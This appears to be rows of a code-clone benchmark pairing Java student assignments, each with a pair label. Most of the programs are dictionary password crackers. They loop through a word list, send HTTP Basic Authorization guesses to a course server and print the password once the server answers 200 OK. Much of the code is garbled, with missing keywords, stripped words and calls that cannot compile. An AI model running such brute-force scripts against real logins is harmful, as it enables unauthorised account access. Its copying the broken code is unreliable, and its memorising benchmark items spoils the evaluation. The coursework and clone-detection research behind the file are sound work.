index3++;
}
index2++;
}
index1++;
}
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader(isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
017.java | 161.java | 0 |
import javax.swing.*;
public class Dictionary
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
077.java | 161.java | 0 |
import java.io.*;
import java.net.*;
public class Dictionary
{
public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
133.java | 161.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary
{
private String myUsername = "";
private String myPassword = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
public static void main (String args[])
{
Dictionary d = new Dictionary();
}
public Dictionary()
{
generatePassword();
}
public void generatePassword()
{
try
{
BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
{
myPassword = bf.readLine();
crackPassword(myPassword);
} while (myPassword != null);
}
catch(IOException e)
{ }
}
public void crackPassword(String passwordToCrack)
{
String data, dataToEncode, encodedData;
try
{
URL url = new URL (urlToCrack);
dataToEncode = myUsername + ":" + passwordToCrack;
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
URLConnection urlCon = url.openConnection();
urlCon.setRequestProperty ("Authorization", " " + encodedData);
InputStream is = (InputStream)urlCon.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bf = new BufferedReader (isr);
{
data = bf.readLine();
System.out.println(data);
displayPassword(passwordToCrack);
} while (data != null);
}
catch (IOException e)
{ }
}
public void displayPassword(String foundPassword)
{
System.out.println("\nThe cracked password is : " + foundPassword);
System.exit(0);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
174.java | 161.java | 0 |
import java.util.*;
import java.io.*;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
218.java | 161.java | 0 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \" < change.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
Process p = Runtime.getRuntime().exec("mkdir predir");
p.waitFor();
Process p1 = Runtime.getRuntime().exec("mkdir postdir");
p1.waitFor();
p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("The WatchDog - Returns 0 if change else 1");
System.out.println("Value :" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("change.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
250.java | 161.java | 0 |
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
152.java | 161.java | 0 |
import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary {
static String userName;
static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;
public Dictionary() {
}
public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;
try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));
breakPassword(inFile);
}
catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
System.err.println(e.getMessage());
System.exit(1);
}
finally {
try {
inFile.close();
}
catch (IOException ex) {ex.printStackTrace();}
}
}
private static void breakPassword (BufferedReader file) throws
IOException {
String password=" ";
userName="";
boolean found= false;
MyHttpURLConnection httpURLConnection;
String passBase64=" ";
urlAuthenticator = new URLAuthenticator(userName);
HttpURLConnection u=null;
String input;
try {
url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
} catch (MalformedURLException e){
} catch (IOException io) {io.printStackTrace();}
while (( input = file.readLine()) != null) {
if (input.length() <=3) {
password = input;
password =":"+ password;
try {
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println("Your User Name : Password Combination is :"+password+
" "+ " Found by Thread");
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
}
}
class URLAuthenticator extends Authenticator {
private String uName;
String passwd;
static private char[] password;
public URLAuthenticator(String uName) {
this.uName = uName;
}
public void setPassword(String passwd) {
this.passwd=passwd;
password=passwd.toCharArray();
}
public PasswordAuthentication getPasswordAuthentication() {
PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
return passwordAuthentication;
}
}
class MyHttpURLConnection extends HttpURLConnection {
public MyHttpURLConnection(URL url) {
super(url);
}
public void disconnect() {
}
public boolean usingProxy() {
return true;
}
public void connect() {
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
187.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class MyMail implements Serializable
{
public static final int SMTPPort = 25;
public static final char successPrefix = '2';
public static final char morePrefix = '3';
public static final char failurePrefix = '4';
private static final String CRLF = "\r\n";
private String mailFrom = "";
private String mailTo = "";
private String messageSubject = "";
private String messageBody = "";
private String mailServer = "";
public MyMail ()
{
super();
}
public MyMail ( String serverName)
{
super();
mailServer = serverName;
}
public String getFrom()
{
return mailFrom;
}
public String getTo()
{
return mailTo;
}
public String getSubject()
{
return messageSubject;
}
public String getMessage()
{
return messageBody;
}
public String getMailServer()
{
return mailServer;
}
public void setFrom( String from )
{
mailFrom = from;
}
public void setTo ( String To )
{
mailTo = To;
}
public void setSubject ( String subject )
{
messageSubject = subject;
}
public void setMessage ( String msg )
{
messageBody = msg;
}
public void setMailServer ( String server )
{
mailServer = server;
}
private boolean responseValid( String response )
{
if (response.indexOf(" ") == -1)
return false;
String cad = response.substring( 0, response.indexOf(" "));
cad = cad.toUpperCase();
if (( cad.charAt(0) == successPrefix ) ||
( cad.charAt(0) == morePrefix ) )
return true;
else
return false;
}
public void sendMail()
{
try {
String response;
Socket mailSock = new Socket (mailServer, SMTPPort);
BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));
System.out.println("1");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
try
{
InetAddress addr = InetAddress.getLocalHost();
String localHostname = addr.getHostName();
pout.print ("HELO " + localHostname + CRLF);
}
catch (UnknownHostException uhe)
{
pout.print ("HELO myhostname" + CRLF);
}
pout.flush();
System.out.println("2");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("MAIL From:<" + mailFrom + ">");
pout.flush();
System.out.println("3");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("RCPT :<" + mailTo + ">");
pout.flush();
System.out.println("4");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("DATA");
pout.flush();
System.out.println("5");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("From: " + mailFrom);
pout.println (": " + mailTo);
pout.println ("Subject: " + messageSubject);
pout.println ();
pout.println (messageBody);
pout.println (".\n\r");
pout.flush();
System.out.println("6");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("QUIT");
pout.flush();
mailSock.close();
}
catch (IOException ioe)
{
System.out.println(ioe.getMessage());
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
205.java | 161.java | 0 |
import java.util.*;
import java.io.*;
public class DicReader
{
private Vector v;
public DicReader( String fileName)
{
boolean flag = true;
String line;
v = new Vector( 50);
try
{
BufferedReader in = new BufferedReader( new FileReader( fileName));
while(( line = in.readLine()) != null)
{
flag = true;
if( line.length() > 0 && line.length() < 4 )
{
for( int i = 0; i < line.length(); i++)
{
if( Character.isLetter( line.charAt( i)) == false)
{
flag = false;
}
}
if( flag == true)
{
v.add( line);
}
}
}
in.print();
}
catch( IOException e)
{
System.out.println( " not open the file!");
System.exit( 0);
}
}
public Vector getVictor()
{
return v;
}
public static void main ( String [] args)
{
DicReader fr = new DicReader( "/usr/share/lib/dict/words");
System.out.println( " far "+fr.getVictor().size()+" combinations loaded");
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |